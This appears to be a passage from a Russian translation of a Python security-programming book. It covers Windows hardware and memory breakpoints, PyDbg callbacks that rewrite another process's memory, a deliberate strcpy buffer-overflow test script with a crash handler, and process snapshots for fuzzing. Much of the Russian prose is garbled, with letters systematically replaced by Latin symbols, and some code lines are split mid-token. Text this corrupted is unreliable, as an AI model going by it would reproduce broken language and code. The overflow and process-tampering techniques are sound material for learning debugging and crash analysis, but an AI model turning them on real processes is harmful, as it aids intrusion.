elif not self.hardware_breakpoints.has_key(1):
available = 1
elif not self.hardware_breakpoints.has_key(2):
available = 2
elif not self.hardware_breakpoints.has_key(3):
available = 3
else:
return False

# We want to set the debug register in every thread
for thread_id in self.enumerate_threads():
context = self.get_thread_context(thread_id=thread_id)

# Enable the appropriate flag in the DR7
# register to set the breakpoint
context.Dr7 |= 1 << (available * 2)

# Save the address of the breakpoint in the
# free register that we found
if available == 0:
context.Dr0 = address
elif available == 1:
context.Dr1 = address
elif available == 2:
context.Dr2 = address
elif available == 3:
context.Dr3 = address

# Set the breakpoint condition
context.Dr7 |= condition << ((available * 4) + 16)

# Set the length
context.Dr7 |= length << ((available * 4) + 18)

# Set thread context with the break set
h_thread = self.open_thread(thread_id)
kernel32.SetThreadContext(h_thread,byref(context))

# update the internal hardware breakpoint array at the used
# slot index.
self.hardware_breakpoints[available] = (address,length,conditio
n)

return True

Вы b^bl_ , что мы u[bjZ_f сh[h^guc слот, для хранения брейкпойнта ,
про_jyy глобальный слоZjv hardware_breakpoints . После того, как мы
получили сh[h^guc слот , нам нужно устаноblv адрес брейкпойнта в слот и
обноblv в регистре DR7 соот_lklующие флаги , которые позheyxl
dexqblv этот самый брейкпойнт. Теперь, когда у нас есть механизм
поддержки , для устаноdb аппаратных брейкпойнтов , даZcl_ обноbf цикл

обработки отладочных событий и добаbf обработчик исключений
поддержиZxsbc прерыZgb_ INT 1 .

Example 7: my_debugger.py
...
class debugger():
...
def get_debug_event(self):

if self.exception == EXCEPTION_ACCESS_VIOLATION:
print "Access Violation Detected."
elif self.exception == EXCEPTION_BREAKPOINT:
continue_status = self.exception_handler_breakpoint()
elif self.exception == EXCEPTION_GUARD_PAGE:
print "Guard Page Access Detected."
elif self.exception == EXCEPTION_SINGLE_STEP:
self.exception_handler_single_step()
...
def exception_handler_single_step(self):

# Comment from PyDbg:
# determine if this single step event occurred in reaction to a
# hardware breakpoint and grab the hit breakpoint.
# according to the Intel docs, we should be able to check for
# the BS flag in Dr6. but it appears that Windows
# isn't properly propagating that flag down to us.
if self.context.Dr6 & 0x1 and self.hardware_breakpoints.has_key(
0):
slot = 0
elif self.context.Dr6 & 0x2 and self.hardware_breakpoints.has_ke
y(1):
slot = 1
elif self.context.Dr6 & 0x4 and self.hardware_breakpoints.has_ke
y(2):
slot = 2
elif self.context.Dr6 & 0x8 and self.hardware_breakpoints.has_ke
y(3):
slot = 3
else:
# This wasn't an INT1 generated by a hw breakpoint
continue_status = DBG_EXCEPTION_NOT_HANDLED

# Now let's remove the breakpoint from the list
if self.bp_del_hw(slot):
continue_status = DBG_CONTINUE

print "[*] Hardware breakpoint removed."
return continue_status

def bp_del_hw(self,slot):

# Disable the breakpoint for all active threads
for thread_id in self.enumerate_threads():

context = self.get_thread_context(thread_id=thread_id)

# Reset the flags to remove the breakpoint
context.Dr7 &= ~(1 << (slot * 2))

# Zero out the address
if slot == 0:
context.Dr0 = 0x00000000
elif slot == 1:

context.Dr1 = 0x00000000
elif slot == 2:
context.Dr2 = 0x00000000
elif slot == 3:
context.Dr3 = 0x00000000

# Remove the condition flag
context.Dr7 &= ~(3 << ((slot * 4) + 16))

# Remove the length flag
context.Dr7 &= ~(3 << ((slot * 4) + 18))

# Reset the thread's context with the breakpoint removed
h_thread = self.open_thread(thread_id)
kernel32.SetThreadContext(h_thread,byref(context))

# remove the breakpoint from the internal list.
del self.hardware_breakpoints[slot]
return True

Тут k_ довольно просто : когда происходи прерыZgb_ INT 1 мы про_jy_f ,
устанавлиZeky ли какой -нибудь отладочный регистр с аппаратным
брейкпойнтом . И если отладчик обнаружиZ_l устаноe_ggmx аппаратную
точку останоZ , соот_lklующую адресу исключения , он обнуляет флаги в
регистре DR7 и сбрасывает регистр отладки , который содержит адрес
брейкпойнта . ДаZcl_ посмотрим на этот процесс в дейстbb.
Модифицируйте скрипт my_test.py, для использоZgby ап

паратных
брейкпойнтов . В качест_ хомячка будем использоZlv нашу функцию
printf().

Example 7: my_test.py
import my_debugger
from my_debugger_defines import *

debugger = my_debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")

debugger.attach(int(pid))

printf = debugger.func_resolve("msvcrt.dll","printf")
print "[*] Address of printf: 0x%08x" % printf

debugger.bp_set_hw(printf,1,HW_EXECUTE)
debugger.run()

В этом тесте мы просто устанаeb\Z_f брейкпойнт на функцию printf()
kydbc раз, как она uihegy_lky. Длина брейкпойнта k_]h один байт. В
данном тесте импортироZeb файл my_debugger_defines.py . Это было сделано
для того, что бы у нас был доступ к константе HW_EXECUTE , которая
придает немного ясности коду.

Когда запустите скрипт – уb^bl_ uод, предстаe_gguc в Листинг 3-4.

Листинг 3-4: Порядок событий для обработки аппаратных
брейкпойнтов
Enter the PID of the process to attach to: 2504
[>] Address of printf: 0x77c4186a
Event Code: 3 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 2 Thread ID: 2228
Event Code: 1 Thread ID: 2228
[>] Exception address: 0x7c901230
[>] Hit the first breakpoint.
Event Code: 4 Thread ID: 2228
Event Code: 1 Thread ID: 3704
[>] Hardware breakpoint removed.

Осноuаясь на uоде скрипта – можно b^_lv , что после срабатыZgby
исключения обработчик удаляет брейкпойнт. Цикл продолжит uihegylvky
после того , как отработает обработчик . Теперь у нас есть поддержка
программных и аппаратных брейкпойнтов , даZcl_ за_jrbf создание
нашего отладчика , добаb\ поддержку брейкпойнтов на память .

3.4.3 Брейкпоинты на память

Заключительная функцией , которую мы реализуем , будет брейкпойнт на
память . В начале , мы просто запросим информацию о разделе памяти , что бы
определить , где находится ее базоuc адрес (где в в

иртуальной памяти
начинается страница ). После того, как мы определили размер страницы , нам
нужно устаноblv праZ доступа на эту страницу , что бы обеспечить ее
охрану . Когда процессор попытается получить доступ к этой памяти ,
сработает исключение GUARD_PAGE_EXCEPTION . Испо

льзуя
специфический обработчик, для данного исключения , мы _jg_f
оригинальный праZ доступа для страницы и продолжим uiheg_gb_ .

Для того, что бы праbevgh рассчитать размер страницы , которой мы

собираемся манипулироZlv , нужно gZqZe_ обратиться с запросом к
операционной системе , что бы получить размер страницы по умолчанию . Это
делается с помощью функции GetSystemInfo() [20]
, которая заполняет
структуру SYSTEM_INFO [21]
. Эта структура содержит поле dwPageSize , в
котором находится праbevguc, для системы , размер страницы . Мы
реализуем этот шаг , h j_fy инициализации перh]h экземпляра класса
debugger() .

Example 8: my_debugger.py
...
class debugger():

def __init__(self):
self.h_process = None
self.pid = None
self.debugger_active = False
self.h_thread = None
self.context = None
self.breakpoints = {}
self.first_breakpoint= True
self.hardware_breakpoints = {}

# Here let's determine and store
# the default page size for the system
system_info = SYSTEM_INFO()
kernel32.GetSystemInfo(byref(system_info))
self.page_size = system_info.dwPageSize
...

Теперь , когда получен размер страницы по умолчанию , мы готоu
обращаться к странице и манипулироZlv ее праZfb . Перuc шаг,
заключается в запросе страницы , на адрес которой мы хотели бы устаноblv
брейкпойнт. Это делается с помощью функции VirtualQueryEx() [22]
,
которая заполняет структуру MEMORY_BASIC_INFORMATION [23]

характерными значениями для страницы , которую мы запрашиZ_f . Ниже
приh^ylky определения для функции и структуры:
SIZE_T WINAPI VirtualQuery(
HANDLE hProcess,
LPCVOID lpAddress,
PMEMORY_BASIC_INFORMATION lpBuffer,
SIZE_T dwLength
);

typedef struct MEMORY_BASIC_INFORMATION{
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;

DWORD Type;
}

Как только структура была заполнена , будем использоZlv значение в поле
BaseAddress , как начальную точку для устаноdb прав доступа на страницу .
Для устаноdb пра^ доступа используется функция VirtualProtectEx() [24]
,
которая имеет следующий прототип:

BOOL WINAPI VirtualProtectEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

Итак , даZcl_ перейдем к коду . Мы собираемся создать глобальный список
защищенных страниц, которые нам нужно яgh устаноblv , так же как и
глобальный список брейкпойнтов , на адреса в памяти, которые наш
обработчик исключений будет использоZlv , когда произойдет исключение
GUARD_PAGE_EXCEPTION . Затем устаноbf праZ доступа на адрес и
окружающие его страницы памяти (если адрес находитс
я между дmfy или
более страницами памяти ).

Example 8: my_debugger.py
...
class debugger():

def __init__(self):
...
self.guarded_pages = []
self.memory_breakpoints = {}
...

def bp_set_mem (self, address, size):
mbi = MEMORY_BASIC_INFORMATION()

# If our VirtualQueryEx() call doesn’t return
# a full-sized MEMORY_BASIC_INFORMATION
# then return False

if kernel32.VirtualQueryEx(self.h_process,
address,
byref(mbi),
sizeof(mbi)) < sizeof(mbi):
return False

current_page = mbi.BaseAddress

# We will set the permissions on all pages that are
# affected by our memory breakpoint.
while current_page <= address + size:

# Add the page to the list; this will
# differentiate our guarded pages from those
# that were set by the OS or the debuggee process
self.guarded_pages.append(current_page)

old_protection = c_ulong(0)
if not kernel32.VirtualProtectEx(self.h_process,
current_page,
size,
mbi.Protect |
PAGE_GUARD,

byref(old_protect
ion)):
return False

# Increase our range by the size of the
# default system memory page size
current_page += self.page_size

# Add the memory breakpoint to our global list
self.memory_breakpoints[address] = (address, size, mbi)

return True

Теперь у Zk есть hafh`ghklv устанаebать брэйкпоинты на память . Если
u опробуете их , в текущем состоянии , используя нашу функцию printf()
зацикленную в цикле , u получите uод , который будет просто гоhjblv
"Guard Page Access Detected ". Хорошо то , что когда к защищенной странице
получают доступ и срабатывает исключение , операционная система на самом
деле удаляет защиту, устаноe_ggmx на страницу памяти , и позв
оляет Zf
продолжить uiheg_gb_ . Подобное дейстb_ избаey_l Zk от создания
специфического обработчика решающего эту задачу. Однако u могли бы
создать дополнительную логику , в сущестmxs_f отладочном цикле , для
uiheg_gby определенных дейстbc, когда срабатыZ_l брейкпойнт.
Например , u могли бы осущестblv такие дейстby , как : hkklZghление
брейкпойнта , чтение памяти из места , где был устаноe_g брэйкпоинт,
приготоe_gb_ св

ежего кофе , почесыZgb_ бороды – в общем , k_ что угодно.


3.5 Заключение

На этом мы за_jrZ_f разработку простого отладчика под Windows. На
данный момент , u имеете не только надежные знания для создания
отладчика , но также получили некоторые очень Z`gu_ наudb , которые
будут полезны Zf не заb
симо от того занимаетесь ли u отладкой или нет !
При использоZgbb другого отладочного инструмента , u сможете понять,
что тот делает на низком уроg_ . Помимо этого u будете знать как, при
необходимости , наилучшим образом , модифицироZlv его , конкретно под
Zrb нужды.

Следующие шаги будут состоять в том , что бы продемонстрироZlv
некоторые hafh`ghklb, продbgmlh]h использоZgby, дmo
сформироZшихся и стабильных отладочных платформ под Windows:
PyDbg и Immunity Debugger . Вы получили большое количество
информации о том , как PyDbg работает "под капотом ", поэтому будете
чуklоZlv себя комфортно , переходя к нему . Синтаксис Immunity Debugger
немного отличается , но он предлагает сущест_ggh отличающийся набор
функций . Понимание того, как ис

пользовать и тот и другой отладчик , для
специфических задач отладки, очень Z`gh для Zk , поскольку позhebl Zf
аlhfZlbabjhать отладку . Дорогу осилит лишь тот , кто шагает ! Поэтому
i_j_^ , вперед и только в перед ! Переходим к PyDbg…


3.6 Ссылки

[1] MSDN CreateProcess Function (h ttp://msdn2.microsoft.com/en-
us/library/ms682425.aspx).

[2] MSDN STARTUPINFO Structure (http://msdn2.microsoft.com/en-
us/library/ms686331.aspx).

[3] MSDN PROCESS_INFO RMATION Structure
(http://msdn2.microsoft.com/en-us/library/ms686331.aspx).

[4] MSDN OpenProcess Function (http://msdn2.microsoft.com/en-
us/library/ms684320.aspx).

[5] MSDN DebugActiveProcess Functi on (http://msdn2.microsoft.com/en-
us/library/ms679295.aspx).

[6] MSDN WaitForDebugEvent Function (http://msdn2.microsoft.com/en-
us/library/ms681423.aspx).

[7

] MSDN DEBUG_EVENT Structure (http://msdn2.microsoft.com/en-
us/library/ms679308.aspx).

[8] MSDN ContinueDebugEvent Functio n (http://msdn2.microsoft.com/en-
us/library/ms679285.aspx).

[9] MSDN DebugActiveProcessStop Functi on (http://msdn2.microsoft.com/en-
us/library/ms679296.aspx).

[10] MSDN OpenThread Function (http://msdn2.microsoft.com/en-
us/library/ms684335.aspx).

[11] MSDN CreateToolhelp32Snapshot Function (http://msdn2.microsoft.com/en-
us/library/ms682489.aspx).

[12] MSDN Thread32First Function (http://msdn2.microsoft.com/en-
us/library/ms686728.aspx).

[13] MSDN THREADENTRY32 Struct ure (http://msdn2.microsoft.com/en-
us/library/ms686735.aspx).
[14] MSDN GetThreadContext Functi on (http://msdn2.microsoft.com/en-
us/library/ms679362.aspx).

[15] MSDN SetThreadContext Functi on (http://msdn2.microsoft.com/en-
us/library/ms680632.aspx).

[16] MSDN ReadProcessMemory Functi on (http://msdn2.microsoft.com/en-
us/library/ms680553.aspx).

[17] MSDN WriteProcessMemory Functi on (http://msdn2.microsoft.com/en-
us/library/ms681674.aspx).

[18] MSDN GetProcAddress Functi on (http://msdn2.microsoft.com/en-
us/library/ms683212.aspx).

[19] MSDN GetModuleHandle Functi on (http://msdn2.microsoft.com/en-
us/library/ms683199.aspx).

[20] MSDN GetSystemInfo Functi on (http://msdn2.microsoft.com/en-
us/library/ms724381.aspx).

[21] MSDN SYSTEM_INFO Structure (http://msdn2.microsoft.com/en-
us/library/ms724958.aspx).

[22] MSDN VirtualQueryEx Functi on (http://msdn2.microsoft.com/en-
us/library/aa366907.aspx).

[23] MSDN MEMORY_BASIC_INFORMATION Structure
(http://msdn2.microsoft.com/en -us/library/aa366775.aspx).

[24] MSDN VirtualProtectEx Function (http://msdn.microsoft.com/en-
us/library/aa366899( vs.85).aspx).

ГЛАВА 4
PyDbg: Windows отладчик на чистом Python



Если u зашли так далеко , то должны хорошо предстаeylv , как
использоZlv Python для создания user-mode отладчика под Windows. Ну , а
теперь перейдем к изучению того, как использоZlv мощь PyDbg, отладчика
под Windows на Python’e с открытым исходным кодом . PyDbg был зарелизен
Педрамом Амини (Pedram Amini) на конференции Recon, прошедшей в 2006
году в Монреале (Канада), как основной компонент PaiMei [1]
, который
яey_lky фреймhjd для ре_jkbg]Z . PyDbg был использоZg в доhevgh
многих инструментах , dexqZy популярный прокси фаззер «Taof» и фаззер
драй_jh\ Windows «ioctlizer», создателем которого я и яeyxkv . Эту глаm
мы начнем с расширения обработчика брейкпойнтов , а затем перейдем к
более продbgmluf темам , таким как : обработка сбоев (crashes) приложений
и aylb_ снимков (snapshots) процесса . Некоторые из инструментов , которые
мы реализуем в этой гла_ , мо

гут быть использоZgu позже , для
сопроh`^_gby некоторых фаззеров , которые мы собираемся разработать . За
дело !


4.1 Расширение брейкойнт -обработчиков

В предыдущей гла_ мы рассмотрели осноu использоZgby обработчиков
для обработки определенных отладочных событий. Используя PyDbg
доhevgh просто расширить осноgmx функциональность , реализуя
пользоZl_evkdb_ функции обратного uahа (callback). Используя
определяемые пользоZl_e_f callback-функции, мы можем реализоZl
ь
пользоZl_evkdmx логику , в момент получения отладчиком отладочных
событий. Пользовательский код, может делать различные _sb , например,
чтение определенного смещения в памяти, поlhjgZy устаноdZ брейкпойнта
или манипулироZgb_ памятью . Как только пользоZl_evkdbc код отработал ,
мы haращаем упраe_gb_ отладчику и позволяем ему продолжить сhx
работу .

Функция PyDbg, для устаноdb программных брейкпойнтов имеет
следующий протот

ип:

bp_set(address, description="",restore=True,handler=None)

Описание параметров :

 address – адрес , где должен быть устаноe_g программный
брейкпойнт.

 description – необязательный параметр, используется для задания
каждому брейкпойнту сh_]h уникального имени .
 restore – определяет , будет ли брейкпойнт аlhfZlbq_kdb сброшен
после сh_c обработки.
 handler – определяет, какую callback- функцию uaать , когда
klj_qZ_lky этот брейкпойнт. Callback- функции, которые
устанаebаются на брейкпойнт, принимают только один параметр,
яeyxsbcky экземпляром класса pydbg(). Вся информация , имеющая
отношение к потоку и процессу , будет сохранена в этом классе , когда
тот будет передан в callback- функцию .

ДаZcl_ , реализуем пользоZl_evkdmx callback-функцию. В качестве
подопытного кролика мы будем использоZlv те
стовый скрипт printf_loop.py .
В этом упражнении , мы будем запускать тестоuc скрипт и считывать
значение счетчика, используемого в цикле printf, из памяти – заменяя его на
случайное число между 1 и 100. Пра^Z нужно помнить то , что в
дейстbl_evghklb мы читаем и изменяем данные в нутрии исследуемого
процесса . Это дейстbl_evgh мощно ! Создайте ноuc файл, назвав его
printf

_random.py и едите следующий код .

Example 1: printf_random.py

from pydbg import *
from pydbg.defines import *

import struct
import random

# This is our user defined callback function
def printf_randomizer(dbg):
# Read in the value of the counter at ESP + 0x8 as a DWORD
parameter_addr = dbg.context.Esp + 0x8
counter = dbg.read_process_memory(parameter_addr,4)

# When we use read_process_memory, it returns a packed
binary
# string. We must first unpack it before we can use it
further.
counter = struct.unpack("L",counter)[0]
print "Counter: %d" % int(counter)

# Generate a random number and pack it into binary format
# so that it is written correctly back into the process
random_counter = random.randint(1,100)
random_counter = struct.pack("L",random_counter)[0]

# Now swap in our random number and resume the process
dbg.write_process_memory(parameter_addr,random_counter)

return DBG_CONTINUE

# Instantiate the pydbg class
dbg = pydbg()

# Now enter the PID of the printf_loop.py process
pid = raw_input("Enter the printf_loop.py PID: ")

# Attach the debugger to that process
dbg.attach(int(pid))

# Set the breakpoint with the printf_randomizer function
# defined as a callback
printf_address = dbg.func_resolve("msvcrt","printf")
dbg.bp_set(printf_address,description="printf_address",handler=p
rintf_randomizer)

# Resume the process
dbg.run()

Теперь запустите оба скрипта printf_loop.py и printf_random.py . Вывод будет
похож на тот , что показан в Таблице 4-1.

Таблица 4-1: Демонстрация манипулироZgby памятью процесса

Вы можете b^_lv , что отладчик устаноbe брейкпойнт на чет_jlhc
итерации цикла printf, так как uеденное отладчиком значение счетчика
раgh 4-рем . Вы так b^gh , что скрипт printf_loop.py , успешно дошел до 4-ой
итерации, но f_klh uода номера 4 uел номер 32! Тут ясно b^gh , как
отладчик изменяет настоящее значение сч
етчика, заменяя его случайное , до
того, как оно будет uедено отлажиZ_fuf процессом . Это простой , но k_
же мощный пример того, как можно легко расширить скриптоuc отладчик
для uiheg_gby дополнительных дейстbc, при наступлении отладочных
событий. Теперь посмотрим на обработку сбоев приложения с
использоZgb_f PyDbg.

4.2 Обработчики событий "access violation"

Нарушение прав доступа происходит gmljb процесса , когда тот пытается
получить доступ к памяти, к которой у него нет доступа либо другим не
допустимым образом . Ошибки , начиная с переполнения буфера и заканчиZy
не праbevghc обработкой указателей, яeyxlky теми причинами , которые
приh^yl к нарушению доступа . С точки зрения безопасности, каждое
нарушени

е доступам должно быть тщательно рассмотрено , поскольку может
яeylvky уязbfhklvx , которая ihke_^klии будет использоZgZ или уже
используется .

Когда происходит нарушение прав доступа , в отлажиZ_fhf процессе , то
от_lklенным за ее обработку яey_lky отладчик. Очень Z`gh , что бы
отладчик перехZlbe kx информацию , имеющую отношению , например ,
кадру стека , состоянию регистров и инструкциям , которые при_eb к
hagbdghению нарушения . Теп

ерь u можете использоZlv эту информацию
как отпраgmx точку для написания эксплойта или создания патча .

У PyDbg есть прекрасный метод , позheyxsbc устаноblv обработчик
нарушения прав доступа , помимо этого есть и другие kihfh]Zl_evgu_
функции , позheyxsb_ uести kx информации относящуюся к сбою .
ДаZcl_ gZqZe_ создадим тестоuc скрипт , который будет использоZlv
опасную функцию языка "C" strcpy() для демонстрации переполнения
буфера . Следующи

м напишем небольшой PyDbg скрипт , для присоединения
(attach) и обработки нарушения доступа . ДаZcl_ начнем с тестоh]h скрипта .
Создайте ноuc файл, назZ\ его buffer_overflow.py , и едите следующий
код :

Example 2: buffer_overflow.py

from ctypes import *

msvcrt = cdll.msvcrt

# Give the debugger time to attach, then hit a button
raw_input("Once the debugger is attached, press any key.")

# Create the 5-byte destination buffer
buffer = c_char_p("AAAAA")

# The overflow string
overflow = "A" * 100

# Run the overflow
msvcrt.strcpy(buffer, overflow)

Теперь, когда buffer_overflow.py создан , создайте еще один новый файл,
назZ\ его access_violation_handler.py и едя следующий код.

Example 2: access_violation_handler.py

from pydbg import *
from pydbg.defines import *

# Utility libraries included with PyDbg
import utils

# This is our access violation handler
def check_accessv(dbg):

# We skip first-chance exceptions
if dbg.dbg.u.Exception.dwFirstChance:
return DBG_EXCEPTION_NOT_HANDLED

crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)
print crash_bin.crash_synopsis()

dbg.terminate_process()

return DBG_EXCEPTION_NOT_HANDLED

pid = raw_input("Enter the Process ID: ")

dbg = pydbg()
dbg.attach(int(pid))
dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,check_accessv)
dbg.run()

Теперь запустите скрипт buffer_overflow.py и запомните его PID ; он
приостаноbl сhx работу , до того момента , пока u не продолжите ее .
Теперь запустите скрипт access_violation_handler.py , и едите PID тестоh]h
скрипта . Как только отладчик присоединиться , нажмите любую клаbrm в
консоли , где работает тестоuc скрипт , после чего u уb^bl_ uод
похожий на Листинг 4-1.

Листинг 4-1: АZjbcguc uод с помощью "PyDbg crash binning utility"

(#1): python25.dll:1e071cd8 mov ecx,[eax+0x54] from thread 3376
caused access
violation when attempting to read from 0x41414195

(#2): CONTEXT DUMP
EIP: 1e071cd8 mov ecx,[eax+0x54]
EAX: 41414141 (1094795585) -> N/A
EBX: 00b055d0 ( 11556304) -> @U`" B`Ox,`O )Xb@|V`"L{O+H]$6

(heap)
ECX: 0021fe90 ( 2227856) -> !$4|7|4|@%,\!$H8|!OGGBG)00S\o
(stack)
EDX: 00a1dc60 ( 10607712) -> V0`w`W (heap)
EDI: 1e071cd0 ( 503782608) -> N/A
ESI: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(heap)
EBP: 1e1cf448 ( 505214024) -> enable() -> NoneEnable automa
(stack)
ESP: 0021fe74 ( 2227828) -> 2? BUH` 7|4|@%,\!$H8|!OGGBG)
(stack)
+00: 00000000 ( 0) -> N/A
+04: 1e063f32 ( 503725874) -> N/A
+08: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAA (heap)
+0c: 00000000 ( 0) -> N/A
+10: 00000000 ( 0) -> N/A
+14: 00b055c0 ( 11556288) -> @F@U`" B`Ox,`O )Xb@|V`"L (heap)

(#3): disasm around:
0x1e071cc9 int3
0x1e071cca int3
0x1e071ccb int3
0x1e071ccc int3
0x1e071ccd int3
0x1e071cce int3
0x1e071ccf int3
0x1e071cd0 push esi
0x1e071cd1 mov esi,[esp+0x8]
0x1e071cd5 mov eax,[esi+0x4]
0x1e071cd8 mov ecx,[eax+0x54]
0x1e071cdb test ch,0x40
0x1e071cde jz 0x1e071cff
0x1e071ce0 mov eax,[eax+0xa4]
0x1e071ce6 test eax,eax
0x1e071ce8 jz 0x1e071cf4
0x1e071cea push esi
0x1e071ceb call eax
0x1e071ced add esp,0x4
0x1e071cf0 test eax,eax
0x1e071cf2 jz 0x1e071cff

(#4): SEH unwind:
0021ffe0 -> python.exe:1d00136c jmp [0x1d002040]
ffffffff -> kernel32.dll:7c839aa8 push ebp

Выh^ разбит на несколько частей полезной информации . Первая часть (#1)
гоhjbl Zf, какая инструкция uaала нарушения прав доступа , а так же в
каком модуле она находится . Эта информация полезна для написания
эксплойта или если u используете инструмент статического анализа для
определения места неиспраghklb . Вторая часть (#2) яey_lky дампом k_o
регистров ; особенно интересно то , что мы перезаписали реги
стр EAX

значением 0x41414141 (0x41 это шестнадцатеричное значение прописной
букu А ). Так же, мы можем b^_lv , что регистр ESI указывает на строку
симheh\ A, такую же, как указатель стека в ESP+08 . Третья часть (#3)
содержит дизассемблерные инструкции до и после uauающей ошибку
инструкции. И наконец последняя часть (#4) содержит список обработчиков
SE Н, которые были зарегистрироZgu h j_fy неиспраghklb.

Вы b^bl_ насколько просто устаноblv обработчик аZjbcghc ситуации с
использоZgb_f PyDbg. Это не_jhylgh полезная функция , позheyxsZy
аlhfZlbabjhать обработку аZjbcguo ситуац

ий и произ_klb их анализ .
Далее мы будем использоZlv gmlj_ggbc процесс создания снапшотов
(snapshot) PyDbg, который позhey_l создаZlv контрольные точки , в
исследуемом процессе, для haрата к сохраненному состоянию, после
каких -то манипуляций над ним .


4.3 Снапшоты

PyDbg снабжен очень полезной функцией снапшотов. Используя которую
можно заморозить процесс , получить kx его память и hah[ghит

ь
uiheg_gb_ процесса . В любой последующий момент u можете _jgmlv
процесс до той контрольной точки , где был сделан снапшот . Это доhevgh
удобно, когда исследуешь бинарный файл или анализируешь сбои в
программном обесп

ечении .

4.3.1 Создание снапшотов

Нашим первым шагом будет получение точного состояния процесса , в
котором тот находился в определенный момент j_f_gb . Для этого нам
нужно , gZqZe_ , получить k_ потоки и соот_lklующие им контексты
процессора . Кроме того, нам нужно получить k_ страницы памяти процесса
и их содержание . Как только у нас будет эта информация , останется только
hijhk ее сохранения , до того момент

а, когда мы захотим hkklZghиться до
контрольной точки .

Прежде, чем мы сможем сделать снапшот, нам нужно приостаноblv k_
uihegyxsb_ky потоки , что бы они не изменили данные и состояние
процесса , h j_fy создания снапшота . Для приостаноdb k_o потоков с
помощью PyDbg, используем функцию suspend_all_threads() , а для
hkklZgh\

ления , всех приостаноe_gguo потоков, используем функцию
resume_all_threads() . Как только мы приостаноbeb потоки , просто сделаем
uah\ функции process_snapshot() . Она аlhfZlbq_kdb изe_dZ_l kx
содержащуюся информацию о каждом потоке и k_c памяти, в данный
конкретный момент . После того как снапшот сделан , мы hah[ghим k_
приостаноe_ggu_ потоки . Когда мы захотим hkkl
аноblv процесс до

контрольной точки , нам нужно ghь приостаноblv k_ потоки , затем
uaать функцию process_restore() , и hah[ghить работу потоков . После
того, как мы hah[ghим процесс , мы _jg_fky в наше исходное состояние ,
когда был сделан снапшот (контрольная точка ). Не плохо, правда ?

Для демонстрации этих hafh`ghkl_c используем простой пример, в
котором разрешим пользоZl_ex создавать и восстанаebаться из
снап

шотов . Создайте ноuc файл, назZ\ его snapshot.py и едите
следующий код.

Example 3: snapshot.py

from pydbg import *
from pydbg.defines import *

import threading
import time
import sys

class snapshotter(object):
def __init__(self,exe_path):

self.exe_path = exe_path
self.pid = None
self.dbg = None
self.running = True

(#1): # Start the debugger thread, and loop
until it sets the PID
# of our target process
pydbg_thread =
threading.Thread(target=self.start_debugger)
pydbg_thread.setDaemon(0)
pydbg_thread.start()

while self.pid == None:
time.sleep(1)

(#2): # We now have a PID and the target is
running; let's get a
# second thread running to do the snapshots
monitor_thread =
threading.Thread(target=self.monitor_debugger)
monitor_thread.setDaemon(0)
monitor_thread.start()

(#3): def monitor_debugger(self):

while self.running == True:

input = raw_input("Enter: 'snap','restore'

or 'quit'")
input = input.lower().strip()

if input == "quit":
print "[*] Exiting the snapshotter."
self.running = False
self.dbg.terminate_process()

elif input == "snap":

print "[*] Suspending all threads."
self.dbg.suspend_all_threads()

print "[*] Obtaining snapshot."
self.dbg.process_snapshot()

print "[*] Resuming operation."
self.dbg.resume_all_threads()

elif input == "restore":

print "[*] Suspending all threads."
self.dbg.suspend_all_threads()

print "[*] Restoring snapshot."
self.dbg.process_restore()

print "[*] Resuming operation."
self.dbg.resume_all_threads()

(#4): def start_debugger(self):

self.dbg = pydbg()
pid = self.dbg.load(self.exe_path)
self.pid = self.dbg.pid

self.dbg.run()

(#5): exe_path = "C:\\WINDOWS\\System32\\calc.exe"
snapshotter(exe_path)

Итак , первый шаг (#1) это запуск приложения под отладочным потоком . При
использоZgbb отдельных потоков , мы можем одить команды , в консоль ,
без принуждения приложения делать паузу , пока оно ожидает нашего ода .
После того, как отладочный поток _jgme дейстbl_evguc PID (#4), мы
запускаем ноuc поток (#2), который использует еденные нами данные .
Затем , когда мы отпраbf ему ко
манду, он определит (#3) делаем ли мы
снапшот , hkklZghление из снапшота или uoh^bf из приложения . В
качест_ примера , я u[jZe Калькулятор (#5) , используя который мы сможем
наблюдать процесс создания снапшотов в дейстbb. Произ_^bl_ случайные

uqbke_gby в Калькуляторе, потом едите snap в консоль нашего Python
скрипта , затем сноZ произ_^bl_ какие -нибудь uqbke_gby или очистите
результат предыдущих uqbke_gbc. Затем едите restore в консоль Python
скипта и u уb^bl_ , что появится число, отображаемое в момент снятия
снапшота . Используя этот метод , u можете прогуливаться туда -сюда по
определенным частям процесса, которые предостаeyxl интерес, без
перезагрузки самого п

роцесса , для hah[ghления его точного состояния
сноZ и сноZ . Теперь даZcl_ объединим некоторые наши ноu_ методы ,
осноZggu_ на применении PyDbg, для создания инструмента фаззинга ,
который поможет находить уязbfhklb в программном обеспечении и
аlhfZlbabjhать обработку сбоев.

4.3.2 Собираем k_ f_kl_

Теперь , когда мы рассмотрели некоторые из наиболее используемых
функций PyDbg, создадим утилиту , которая поможет от

ыскивать
потенциальные уязвимости в программном обеспечении . Некоторые
функции , более склонны к переполнению буфера , уязbfhklyf форматной
строки и поj_`^_gbx памяти. Мы хотим обратить особое gbfZgb_ на эти
опасные функции .

Инструмент будет определять местонахождение опасных функций и
отслеживать обращения к ним . Когда функция , которую мы считаем опасной ,
uauает

ся – произ_^_f разыменоuание (получение значений ) четырех
параметров из стека (а так же haращаемый адрес , uauающего кода ) и
сделаем снапшот процесса , на случай , если в функции произойдет
переполнение . Если будет нарушение прав доступа , наш скрипт , hkklZghит
процесс до uahа последней опасной функции. Затем он шаг за шагом
